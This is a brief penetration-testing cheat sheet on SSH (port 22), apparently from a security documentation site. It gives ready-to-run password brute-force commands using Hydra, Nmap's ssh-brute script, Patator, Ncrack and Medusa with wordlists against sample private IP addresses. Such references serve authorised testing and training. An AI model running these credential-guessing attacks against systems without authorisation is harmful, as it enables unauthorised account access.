> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/network-pentesting/network-services/ssh-22.md).

# SSH - 22

### SSH Bruteforcing

* **Hydra Command**: Use Hydra for SSH brute forcing with username and password lists.

  ```bash
  hydra -L /home/pentester/Wordlists/Usernames.txt -P /home/pentester/Wordlists/Passwords.txt 172.19.19.70 ssh
  ```
* **Nmap Command**: Nmap script for SSH brute force using username and password databases.

  ```bash
  nmap -p22 172.25.30.4 --script ssh-brute.nse --script-args userdb=/home/kali/wordlistcpent/usernames,passdb=/home/kali/wordlistcpent/passwords --script-args ssh-brute.timeout=4s
  ```
* **Patator Command**: Utilize Patator for flexible SSH brute force with password file.

  ```bash
  patator ssh_login host=172.25.120.125 user=root password=FILE0 0=/home/kali/Downloads/Passwords.txt
  ```
* **Ncrack Command**: Employ Ncrack for SSH brute force on a specific port with password list.

  ```bash
  ncrack -v --user root -P /usr/share/wordlists/rockyou.txt ssh://172.25.120.240:60000
  ```
* **Medusa Command**: Medusa brute forcing against SSH using password file.

  ```bash
  Medusa -h 192.168.0.1 -u root -P /home/password.txt -M ssh -n {PORT} -t 3

  ```
* Connect to ssh

```
// Some code
```

ssh sshuser\@IP -p PORT
